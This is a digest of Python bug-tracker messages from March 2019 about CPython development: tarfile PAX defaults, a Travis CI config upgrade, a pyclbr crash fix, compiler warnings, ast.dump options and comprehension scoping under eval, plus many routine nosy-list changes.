Message-ID: <1552677496.28.0.603313408104.issue36268@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

PR is up with CI checks green as [GH-12355](https://github.com/python/cpython/pull/12355). I also had to fix one test which implicitly assumed that DEFAULT_FORMAT == GNU_FORMAT.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:21:20 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:21:20 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1552677680.82.0.146336411642.issue30661@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

FYI, [GH-12355](https://github.com/python/cpython/pull/12355) will implement pax as default, as discussed in [bpo-36268](https://bugs.python.org/issue36268), which should be equivalent to option 1 here, thus also resolving this issue. Could you confirm that this is the case, and do you have any other comments on the change? Thanks!

----------
components: +Library (Lib)
nosy: +CAM-Gerlach

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:22:05 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:22:05 +0000
Subject: [issue30661] Support tarfile.PAX_FORMAT in shutil.make_archive
In-Reply-To: <1497403539.2.0.760105950979.issue30661@psf.upfronthosting.co.za>
Message-ID: <1552677725.65.0.773776570674.issue30661@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
versions: +Python 3.8 -Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30661>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:43:52 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:43:52 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
Message-ID: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

Not sure how to categorize this one, or if this should even be a bpo.

Currently, the .travis.yml config file still has a sudo: false key, which previously triggered the Container-based environment on Travis. However, that was removed in December 2018, and so the key is now obsolete. Furthermore, the builds are still running in the Trusty environment, which will be at the end of its 5-year development lifecycle in April 2019 (next month). Therefore, sudo: false should be removed, and the distribution should be upgraded to the modern dist: xenial.

If non-trivial errors result, the change will likely be well beyond my minimal expertise as a brand-new contributor, but I figured I'd nevertheless make the attempt in a PR if not, which others can take over/supersede if necessary.

----------
messages: 338022
nosy: CAM-Gerlach
priority: normal
severity: normal
status: open
title: Upgrade Travis CI config to Xenial from near-EoL Trusty and remove obsolete sudo: false key

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:46:41 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 19:46:41 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552679201.47.0.055356527499.issue36307@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi @CAM, do you have a pointer about the deprecated/removed feature in Travis?

Thank you

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:50:22 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Fri, 15 Mar 2019 19:50:22 +0000
Subject: [issue29299] Argument Clinic: Fix signature of optional
 positional-only arguments
In-Reply-To: <1484666234.33.0.914406658402.issue29299@psf.upfronthosting.co.za>
Message-ID: <1552679422.03.0.171629368664.issue29299@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Thanks for the explanation.

> And *that* would be a lot of code.

Would an effort to make inspect support this be appreciated or do you think this is not important?

----------
nosy: +remi.lapeyre
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 15:54:42 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 19:54:42 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552679682.99.0.62196195523.issue36307@roundup.psfhosted.org>


Change by C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:


----------
keywords: +patch
pull_requests: +12323
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:01:08 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Fri, 15 Mar 2019 20:01:08 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552680068.41.0.372725688859.issue36307@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

Sure, thing, sorry?I realized I should have added one but apparently couldn't edit my post to include it.

[Here's](https://docs.travis-ci.com/user/reference/overview/#deprecated-virtualization-environments) a description of the removal of the obsolete sudo: false key in the Travis docs, and [here's](https://blog.ubuntu.com/2019/02/05/ubuntu-14-04-trusty-tahr) a blog post on the imminent EoL of [Trusty Tar](https://blog.ubuntu.com/2019/02/05/ubuntu-14-04-trusty-tahr).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:09:07 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:09:07 +0000
Subject: [issue22166] test_codecs leaks references
In-Reply-To: <1407444567.64.0.0425446064781.issue22166@psf.upfronthosting.co.za>
Message-ID: <1552680547.55.0.976458807096.issue22166@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

For 3.7 and 3.8, I have just tried with this command to find leaks in the test_codec* but nothing :/

./python -m test -v -l -R 6:6 -u all \
    test_codecencodings_iso2022 \
    test_codecs \
    test_codecmaps_hk test_codecmaps_tw \
    test_codecencodings_tw \
    test_codecencodings_cn \
    test_codeccallbacks \
    test_codecencodings_hk \
    test_codecencodings_jp \
    test_codecencodings_kr \
    test_codecmaps_jp \
    test_codecmaps_cn \
    test_codecmaps_kr

If you have another technic for the detection of leaks, please inform me but I think this issue could be closed maybe we have fixed the issue with time.

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22166>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:25:34 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:25:34 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
Message-ID: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

Python/pathconfig.c: In function '_PyPathConfig_ComputeArgv0':
Python/pathconfig.c:615:26: warning: 'argv0' may be used uninitialized in this function [-Wmaybe-uninitialized]
             wchar_t *q = wcsrchr(argv0, SEP);
                          ^~~~~~~~~~~~~~~~~~~

----------
messages: 338027
nosy: matrixise, vstinner
priority: normal
severity: normal
status: open
title: Fix warning in _PyPathConfig_ComputeArgv0
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:28:38 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 20:28:38 +0000
Subject: [issue36298] Lib/pyclbr.py fails when package spec cannot be
 determined
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552681718.22.0.812015193836.issue36298@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I finished patching pyclbr to be a complete module class and function browser in summer 2017, for use by IDLE's class browser.

I verified the bug with the import API, with a twist.

>>> import pyclbr
>>> pyclbr.readmodule_ex('<invalid')
...
AttributeError: 'NoneType' object has no attribute 'submodule_search_locations'
>>> pyclbr.readmodule_ex('<invalid>')
{}


The relevant block in pyclbr is

    spec = importlib.util._find_spec_from_path(fullmodule, search_path)
    _modules[fullmodule] = tree
    # Is module a package?
    if spec.submodule_search_locations is not None:
        tree['__path__'] = spec.submodule_search_locations

Caching (fullmodule, tree) before the spec access is why the repeat call above returns the empty tree.

This block is preceded by a block that explicitly raises 'ImportError', even though no import is attemped.  It is followed by a block that returns the tree in case of error.

    try:
        source = spec.loader.get_source(fullmodule)
        if source is None:
            return tree
    except (AttributeError, ImportError):
        # If module is not Python source, we cannot do anything.
        return tree

So either a) the empty tree should be returned when the  NoneType exception is caught, or b) the invalid names should not be cached and the AttributeError turned into an 'ImportError'. 

I believe we should do the latter, as you suggested, and move the caching line down to follow the new try-except.  If you want, submit a PR for the master branch *after* signing the CLA.  If you can, include a new assertRaises test based on the invalid call above.  And check that '<invalid>' is not in pyclbr._modules with assertNotIn('<invalid>', pyclbr._modules).

----------
assignee:  -> terry.reedy
nosy: +terry.reedy
stage:  -> needs patch
title: Lib/pyclbr.py crashes when the package spec cannot be determined by importlib -> Lib/pyclbr.py fails when package spec cannot be determined
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:28:50 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:28:50 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1552681730.12.0.0857628630931.issue36308@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12324
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:31:19 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:31:19 +0000
Subject: [issue36308] Fix warning in _PyPathConfig_ComputeArgv0
In-Reply-To: <1552681534.57.0.740918728874.issue36308@roundup.psfhosted.org>
Message-ID: <1552681879.32.0.791832747863.issue36308@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@vstinner

I just initialized argv0 to NULL but the wcsrchr could generate a SIGSEGV.

What do you suggest for the initial value of argv0? try to detect the sys.executable and use it for argv0?

----------
stage: patch review -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36308>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:32:43 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 20:32:43 +0000
Subject: [issue36211] show full url when execute "make -C Doc/ serve"
In-Reply-To: <1551878118.81.0.0860546810441.issue36211@roundup.psfhosted.org>
Message-ID: <1552681963.92.0.640489619097.issue36211@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
nosy: +Mariatta, mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36211>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:33:20 2019
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 15 Mar 2019 20:33:20 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552682000.76.0.0784384664588.issue36287@roundup.psfhosted.org>


Ivan Levkivskyi <levkivskyi at gmail.com> added the comment:

We can probably also skip `type_ignores` list if it is empty (which will be the case in 99% situations).

----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:45:47 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 20:45:47 +0000
Subject: [issue36299] Deprecate 'u' type in array module
In-Reply-To: <1552629002.67.0.658973531537.issue36299@roundup.psfhosted.org>
Message-ID: <1552682747.83.0.993578046454.issue36299@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

'4.0' is a stand-in for 'sometime after 2.7.final', scheduled for Jan 2020.  A Pending... for 3.8.0, scheduled for Oct 2019, seems reasonable to me.  Perhaps we should have a pydev discussion for the general issue of post 2.7 removals of already deprecated items.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36299>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:50:28 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 20:50:28 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552683028.1.0.947622515362.issue36298@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
assignee: terry.reedy -> brett.cannon
nosy:  -terry.reedy
stage: needs patch -> 
title: Lib/pyclbr.py fails when package spec cannot be determined -> Lib/pyclbr.py crashes when the package spec cannot be determined by importlib
versions:  -Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:51:00 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 20:51:00 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552683060.36.0.860512073973.issue36298@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

I have a fix en-route.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 16:54:42 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Fri, 15 Mar 2019 20:54:42 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
In-Reply-To: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>
Message-ID: <1552683282.42.0.276185754864.issue36287@roundup.psfhosted.org>


Emmanuel Arias <emmanuelarias30 at gmail.com> added the comment:

Maybe we can ignore None and [] ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:07:22 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 21:07:22 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552684042.83.0.619711816827.issue36298@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
keywords: +patch
pull_requests: +12325
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:07:43 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 21:07:43 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552684063.3.0.680328601754.issue36298@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:07:59 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 21:07:59 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552684079.91.0.63237319329.issue36298@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Got a patch up if either of you would like to review.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:08:19 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 21:08:19 +0000
Subject: [issue34464] There are inconsitencies in the treatment of True, False,
 None, and __debug__ keywords in the docs
In-Reply-To: <1534964930.72.0.56676864532.issue34464@psf.upfronthosting.co.za>
Message-ID: <1552684099.43.0.157689603258.issue34464@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@serhiy

The issue about the assigment operator is closed https://bugs.python.org/issue36052

could we close this issue?

thank you

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34464>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:10:27 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Fri, 15 Mar 2019 21:10:27 +0000
Subject: [issue36291] [2.7] Coverity Scan: Modules/_json.c: leaked_storage:
 Variable "numstr" going out of scope leaks the storage it points to.
In-Reply-To: <1552575044.21.0.83724998677.issue36291@roundup.psfhosted.org>
Message-ID: <1552684227.18.0.825133128119.issue36291@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
assignee: matrixise -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36291>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:11:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 21:11:09 +0000
Subject: [issue36300] eval of comprehension cannot access local variables
In-Reply-To: <1552646652.54.0.949988321046.issue36300@roundup.psfhosted.org>
Message-ID: <1552684269.09.0.687485779562.issue36300@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

You example is a list comprehension, but no matter.  In 3.x, the value of a comprehension is the result of calling a temporary function.  Functions access globals and nonlocals but not non-global locals of surrounding contexts.  Class locals are an example of the latter.

>>> class C:
...   w = 100
...   l = [w for x in ("hello", "world")]
...
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in C
  File "<stdin>", line 3, in <listcomp>
NameError: name 'w' is not defined

To see this, one must make sure that the name in question is not also in globals, as it is below.

>>> w = 50
>>> [w for x in ("hello", "world")]
[50, 50]
>>> class C:
...   w = 100
...   l = [w for x in ("hello", "world")]
...
>>> C.l
[50, 50]  # Evaluated global w, not local w.

When one calls eval with separate globals and locals, one is simulating class context.  There should be a FAQ entry about this.

----------
nosy: +terry.reedy
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
title: eval of generator expressions cannot access local variables -> eval of comprehension cannot access local variables
versions:  -Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36300>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:13:39 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 21:13:39 +0000
Subject: [issue36304] When using bz2 and lzma in mode 'wt',
 the BOM is not written
In-Reply-To: <1552655943.64.0.213784898243.issue36304@roundup.psfhosted.org>
Message-ID: <1552684419.7.0.826153078159.issue36304@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy: +benjamin.peterson, ezio.melotti, lemburg, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36304>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:14:33 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 15 Mar 2019 21:14:33 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1552684473.33.0.399041413232.issue36305@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:19:05 2019
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 15 Mar 2019 21:19:05 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552684745.46.0.582291727248.issue36298@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

(And sorry about stealing this from you, Terry; I forgot to flip the assignment while I was looking into this.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:36:09 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Fri, 15 Mar 2019 21:36:09 +0000
Subject: [issue36307] Upgrade Travis CI config to Xenial from near-EoL Trusty
 and remove obsolete sudo: false key
In-Reply-To: <1552679032.41.0.0976930035349.issue36307@roundup.psfhosted.org>
Message-ID: <1552685769.83.0.74559693732.issue36307@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

This changes the Ubuntu version in Travis so I would like this decision to be reviewed by core devs who work more closely with buildbot and configs.

----------
nosy: +pablogsal, vstinner, xtreak, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36307>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:47:56 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 21:47:56 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552686476.88.0.694241610402.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:


New changeset 842a2f07f2f08a935ef470bfdaeef40f87490cfc by Eric Snow in branch 'master':
bpo-33608: Deal with pending calls relative to runtime shutdown. (gh-12246)
https://github.com/python/cpython/commit/842a2f07f2f08a935ef470bfdaeef40f87490cfc


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:57:39 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:57:39 +0000
Subject: [issue15376] Refactor the test_runpy walk_package support code into a
 common location
In-Reply-To: <1342509049.53.0.303616016829.issue15376@psf.upfronthosting.co.za>
Message-ID: <1552687059.87.0.231981623398.issue15376@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15376>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:58:11 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:58:11 +0000
Subject: [issue16961] No regression tests for -E and individual environment
 vars
In-Reply-To: <1358164994.53.0.497203238771.issue16961@psf.upfronthosting.co.za>
Message-ID: <1552687091.9.0.273681769345.issue16961@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16961>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:58:37 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:58:37 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552687117.21.0.819643721321.issue3905@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:58:58 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:58:58 +0000
Subject: [issue16095] urllib2 failing with squid proxy and digest
 authentication
In-Reply-To: <1349023291.71.0.297566179231.issue16095@psf.upfronthosting.co.za>
Message-ID: <1552687138.77.5.0959559208e-05.issue16095@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16095>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:59:23 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:59:23 +0000
Subject: [issue10482] subprocess and deadlock avoidance
In-Reply-To: <1290320162.59.0.372707956205.issue10482@psf.upfronthosting.co.za>
Message-ID: <1552687163.47.0.577348142131.issue10482@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10482>
_______________________________________

From report at bugs.python.org  Fri Mar 15 17:59:48 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 21:59:48 +0000
Subject: [issue1260171] subprocess: more general (non-buffering) communication
Message-ID: <1552687188.07.0.330497700093.issue1260171@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1260171>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:00:55 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:00:55 +0000
Subject: [issue24395] webbrowser.py update to use argparse.py
In-Reply-To: <1433604179.81.0.192966490206.issue24395@psf.upfronthosting.co.za>
Message-ID: <1552687255.96.0.740172587364.issue24395@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24395>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:01:57 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:01:57 +0000
Subject: [issue12020] Attribute error with flush on stdout,stderr
In-Reply-To: <1304703877.7.0.898555574271.issue12020@psf.upfronthosting.co.za>
Message-ID: <1552687317.32.0.60691998085.issue12020@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12020>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:05:20 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 15 Mar 2019 22:05:20 +0000
Subject: [issue36097] Use only public C-API in _xxsubinterpreters module.
In-Reply-To: <1550965738.11.0.154386205273.issue36097@roundup.psfhosted.org>
Message-ID: <1552687520.09.0.661791602262.issue36097@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12326
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36097>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:06:05 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:06:05 +0000
Subject: [issue17477] update the bsddb module do build with db 5.x versions
In-Reply-To: <1363671295.4.0.641867038298.issue17477@psf.upfronthosting.co.za>
Message-ID: <1552687565.66.0.927424330508.issue17477@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue17477>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:06:56 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:06:56 +0000
Subject: [issue20749] shutil.unpack_archive(): security concerns not documented
In-Reply-To: <1393190017.96.0.0939250007559.issue20749@psf.upfronthosting.co.za>
Message-ID: <1552687616.62.0.69376211469.issue20749@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue20749>
_______________________________________

From report at bugs.python.org  Fri Mar 15 18:07:37 2019
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 15 Mar 2019 22:07:37 +0000
Subject: [issue9782] _multiprocessing.c warnings under 64-bit Windows
In-Reply-To: <1283776985.14.0.464453735202.issue9782@psf.upfronthosting.co.za>
Message-ID: <1552687657.03.0.15638790747.issue9782@roundup.psfhosted.org>


Change by Mark Lawrence <breamoreboy at gmail.com>:


----------
